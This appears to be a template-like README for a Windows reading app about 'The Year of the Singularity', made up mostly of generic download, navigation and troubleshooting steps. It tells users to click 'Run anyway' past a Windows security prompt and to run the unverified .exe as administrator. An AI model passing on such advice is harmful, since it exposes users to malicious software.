yearofthesingularity is an end-user app for reading and exploring the idea behind The Year of the Singularity. It presents the project in a simple Windows app so you can open it, move through the content, and follow the investigation without setup work.
The app focuses on a clear reading path. It keeps the interface plain and uses short screens so you can move through the material with ease.

On the release page, look for the latest version. Download the Windows file that matches your system. Most users will want the .exe file. If you see a .zip file, download it and open it after the file finishes.
Follow these steps:
- Open the release page.
- Find the latest release at the top of the page.
- Choose the Windows download file.
- Save the file to your Downloads folder.
- If you downloaded a
.zipfile, right-click it and choose Extract All. - Open the folder that appears after extraction.
- Double-click the app file to start it.
If Windows shows a security prompt:
- Click More info.
- Click Run anyway if you trust the source.
- Wait for the app to open.
If the app opens in a blank window for a moment, give it a few seconds to load.
After you open the app, you can move through the content with simple controls:
- Use Next to move forward
- Use Back to return to the last page
- Use the menu to jump to another section
- Use the search box to find terms in the project text
- Use the scroll bar to read longer sections
The app is built for easy reading. You do not need an account. You do not need to sign in.
The app gives you a guided path through the project. It may include:
- Intro pages that explain the core idea
- Reading sections with short blocks of text
- Notes on the point where machine intelligence changes direction
- Timelines and reference pages
- Links to related material inside the app
- A simple navigation layout for fast access
The tone stays neutral and focused. It is meant for reading, not editing.
You may see one of these files on the release page:
.exe- the main Windows app.zip- a compressed folder that holds the app.msi- a Windows installer.txtor.md- readme or notes files
If you see more than one file, choose the one marked for Windows. If you are not sure, use the latest .exe or .msi file first.
The first time you open the app:
- Wait for Windows to check the file.
- Let the app finish loading.
- Read the intro screen.
- Use the menu or buttons to move through the content.
- Adjust the window size if you want more space.
If text looks small, use your system display settings or the app’s zoom controls if they appear.
Try these steps:
- Make sure the file finished downloading
- Check that you opened the right Windows file
- If you used a
.zip, extract it before opening the app - Right-click the app and choose Run as administrator
- Restart your PC and try again
- Download the file again if it looks broken
If the app still does not open, confirm that your Windows version is up to date and that your device has enough free space.
Check the release page now and then for new versions:
When a new release appears:
- Download the new Windows file
- Close the app if it is open
- Replace the old version if needed
- Open the new file
After extraction or install, you may see files like these:
- Main app file
- Support files
- Images or content data
- Settings file
- Readme file
Do not move files around unless the app asks you to. Keep the app files together in one folder.
For a smoother experience:
- Read one section at a time
- Use the search tool for key terms
- Resize the window if lines feel too long
- Keep the app open while you browse related sections
- Use full screen if you want a cleaner view
The app is best used in a quiet setting where you can move through the material at your own pace.
- Open the release page
- Download the latest Windows file
